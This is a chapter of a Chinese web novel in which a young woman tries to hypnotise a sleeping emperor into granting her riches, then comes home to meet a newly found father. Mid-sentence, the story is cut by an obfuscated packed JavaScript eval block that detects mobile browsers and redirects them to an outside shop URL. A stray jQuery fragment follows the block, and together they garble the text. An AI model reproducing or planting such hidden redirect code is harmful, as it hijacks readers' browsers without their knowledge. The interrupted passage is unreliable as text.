文趣网 > 都市小说 > 争当祸水 > 3. 大喜
    陈知意蹲在藤椅边上,盯着那张近在咫尺的脸,心里翻来覆去地掂量。

    他睡得人事不知,连她拨开纱帐走近都没醒,倒是不设防。

    她只知道他想念先皇……但仅凭这,能拿捏住他的心思吗?

    转念一想,喜欢琴棋书画和美人的昏君,脑袋里能有什么复杂心事。

    何况条件都是给清醒的人设的。若是睡着的人呢?睡着的人心门大开,催眠起来肯定更简单。

    她犹豫了一息。

    试试?

    试试吧!

    富贵险中求。

    她轻轻吐了口气,在藤椅旁边的脚踏上坐下,将手边矮几上一只空茶盏拿过来,搁在自己膝头。茶盏是白瓷的,杯底还剩一层浅浅的茶汤,凉透了。她并起两指,在杯沿上轻轻一叩——

    叮。

    声音很轻,穿透窗外的雨声,在寂静的舱室里悠悠荡开。

    她停了片刻。

    又叩一下。

    叮。

    然后开始有节奏地叩下去。叮——叮——叮——不紧不慢的,像更漏里一滴一滴往下坠的水。声音不大,却利落地往耳朵里钻。

    “皇上……”她压低嗓音,用春风渡里那些姐姐们哄客人喝酒时的声气,软软地唤了一声,“民女伺候您喝口茶吧?”

    躺着的人没有动。呼吸依旧平稳,胸口微微起伏。

    她叩着杯沿的手指不停,又唤了一声:“皇上……”

    依然没有应答。

    她又等了几息,大着胆子伸出一只手,轻轻搭在他的小臂上,极轻地晃了晃:“皇上?”

    那人忽然偏了一下头。

    陈知意的手猛地缩回来,后背一紧。

    可他只是偏了偏头,换了个姿势,呼吸沉了一沉,又不动了。像是要醒没醒、又被睡意拽了回去的那个瞬间。

    她看着他、数着他的呼吸,心里更有了些底气。

    似乎可行?

    她索性往前凑了半寸,将声音压得又低又柔,直接贴着他耳边说:“皇上好睡,不必急着醒。”

    杯沿上的叩指停了一瞬,换了节奏。比方才更轻、更密。

    她盯着他阖着的眼皮,轻声:“您听见了我的声音,会感到舒服、安稳……会想要放下心防。”

    他的眉心忽然微微蹙了一下。

    陈知意凑得更近了些。

    他的嘴角又浅浅弯了一下,像在笑,又像只是无意识地牵动了一下肌肉。

    随即那抹弧度又淡下去,整张脸松弛下来。

    她盯着他看了几息,不禁有点得意:最近的本事有长进!居然能成功地在睡梦中催眠了皇上!

    她压住笑意,收拢心思。指尖在杯沿上继续叩着,换了一种更绵软的声音。

    “您好好睡……醒了之后,心里轻快极了、什么事都顺心极了。”她放轻了声音,像哄小孩似的,“您会想……做点儿让您高兴的事。”

    她顿了顿,挑拣着措辞。来前也没想到会这么顺利,她都没来得及想具体要什么。

    但有一条,她得先保住自己。

    “您醒了以后,会看我。会觉得……”她抿了抿嘴,把跑到嘴边的“喜欢”二字咽回去,换了个更稳当的,“会觉得我面善、愿意听我说两句话。会愿意答应我的要求。”

    她说完,把茶盏放回矮几上,手指离开杯沿。

    舱室里陡然静下来。只有窗外的水声,啪嗒,啪嗒,拍着船板。

    她屏住呼吸,等他醒。

    等了大约十几息的工夫,他的睫毛动了一下。

    陈知意立刻矮身退后半步,重新跪回他脚踏前的地毯上,垂下眼睛,做出恭恭敬敬等候的模样。

    然后她听见一个声音,懒洋洋的,带着刚醒的鼻音:“……你谁啊?”

    她心里猛跳了一下,抬头,露出个自认为讨喜的表情。

    “民女陈知意,皇后娘娘安排民女来给皇上解闷儿的。”她试探着说。

    沈微琅靠在藤椅上,睡眼惺忪地看了她一会儿。然后眨了眨眼,似乎还没完全清醒,又似乎已经清醒了。

    他抬手揉了揉眉心,带着刚睡醒的、有些懒散的不耐烦,说了一个字:“嗯。”

    嗯什么?陈知意等着下文。

    可他没有下文了。

    他就那么歪在椅子上,懒懒散散的,像在等人伺候。过了两息,见她没动,掀起眼皮瞥了她一眼:“倒茶。”

    陈知意愣了一瞬,赶紧起身去拿茶壶。她捧着茶盏递过去的时候,心里七上八下。

    催眠到底管用了没有?

    他看起来跟方才没什么两样。没有特别看她、没有对她笑、也没有说什么“面善”的话。

    看样子是失败了。

    她低着头,把茶盏递到他手边。他的指尖碰到杯壁时,停了一下。

    然后偏过头,看了她一眼。

    又慢慢收回视线,低头喝了一口茶,漫不经心地问:“想要什么?”

    陈知意心里一紧,又一动,大喜。

    成功了!

    她的胆子大了些,眼睛亮晶晶地对视,说:“封我个女官做。”

    他的表情有点怪异。

    低头,又喝了口茶,没说话。

    陈知意心里咯噔一下。是不是自己有点托大了?

    她赶紧往回找补:“帮我在京城落脚也成。”

    说完又觉得有点亏,这么好的机会,总不能白瞎了。她开始掰着指头数:“给我个好地段的大宅子、再配几个仆人,还要个手艺地道的厨娘,还有车马、绫罗绸缎……”

    她一口气列了十来样,最后落在银子上。

    她计算着,自己攒了五年才攒了三四十两,现在开口要多少合适?

    一百两?有点少吧?

    三百两?好像也不多。

    “五……一千两银子!”她咬了咬牙,报出个数。

    “……”他放下茶盏,往后一靠,椅子发出轻轻的吱呀声,“知道了。”

    陈知意想了想,又叮嘱:“您记住了,这些东西都是给陈知意的。陈知意。耳东陈,知书达理的知,如意的意。”

    “嗯。记住了。”他倒是认真应下。

    陈知意掐算着时间,觉得差不多了。却忽然想到,既然她马上什么都有了,何必再做什么劳什子娘娘?

    依她所见,就算当上了皇后,好像也不怎么痛快。

    赶忙又补充一句:“待会儿你醒来,记得放我离

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769928|209866||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    开哦。”

    沈微琅端着茶盏的手顿了一下,没抬头:“……好。”

    “那些东西,怎么给你?”他接着问。

    “我住在撒金巷二号,春风渡里。”说到这,她又絮絮地嘱咐:“你给我那些东西的时候,记得排场大点、风光点。叫整个苏州城的人都瞧见,是我陈知意出人头地了!”

    “好。”

    “那我走啦。”她心满意足,轻轻叩了几下茶盏,算给他留个醒来的暗示,然后躬身退了几步,拨开纱帐,转身推门。

    门外,那太监还候着,一见她出来,立马隔着门问:“皇上?”

    “送她回家。”里面传出声音。

    一切都如她所愿。

    门外雨势渐大,河风迎面扑来,凉丝丝地贴在她脸上。她深吸一口气,站在廊下,嘴角压都压不住。

    成了成了成了!!!

    一千两银子、一座大宅子、仆人厨娘车马绫罗绸缎,还有风风光光的排场。她陈知意,马上就能挺直腰杆做人了!

    她忍不住低头笑了一声,又赶紧捂住嘴,回头看了一眼那扇已经合上的门,而后提起裙子,轻快地跳上送她上岸的小舟。

    回头看着渐行渐远的龙船,那抹庄严的黄重新进入她的视线,她才后知后觉地有点紧张。

    皇上……是不是答应得太痛快了?

    但按照过往的成功经验,被催眠的人,就是这个样子——跟平常没什么两样,只是心里多了一桩事,自己都不觉得有什么不对。她师父说过,真正上等的迷魂术,叫中了招的人浑然不觉。

    她拍了拍自己的脸颊,别疑神疑鬼了。那人可是皇帝,若真没被催眠,听见她狮子大开口要宅子要银子,早该命人把她拖下去打板子了,哪儿会好声好气地应她?

    这么一想,她又踏实了。

    下了船,码头上已经有人在等。方才那个领路的小太监站在雨里,手里撑着把油纸伞,见她下来,微微颔首:“陈姑娘,奴才送您回去。”

    “有劳。”陈知意钻进伞下,回头望了一眼那艘灯火通明的龙船。天色渐渐暗下,三层的琉璃窗里透出暖融融的光。

    太监一路无话,将她送回春风渡后巷的角门。她轻手轻脚地从后门溜进去,猫着腰穿过院子,刚要往自己房里钻,身后忽然传来一声:

    “站住。”

    陈知意僵住了,慢慢转过身。

    凤姨抱臂靠在廊柱上,眯着眼上下打量她。她身上还是那件菉竹色的裙子,在夜色里格外扎眼。

    “……凤姨,您听我解释。”

    “不用解释。”凤姨却没生气,而是满脸喜色,上前拉住她:"快随我来!天大的好事!"

    这么快?皇上的人办事就是利索!

    陈知意任凤姨拉着,挺直了腰板,高高兴兴地往前厅走。

    却没看见预料中的热闹,而是她娘泪眼婆娑地挽着个男人的手臂,又羞又喜地执手交谈。

    陈知意想起来了,这男人就是白天从马车上下来的那位,问凤姨:“他谁啊?”

    “京城来的大官!你跟你娘,就要发达了!”凤姨比她还激动。

    兰泉也看过来,对着她招手——

    “知意,快叫爹!”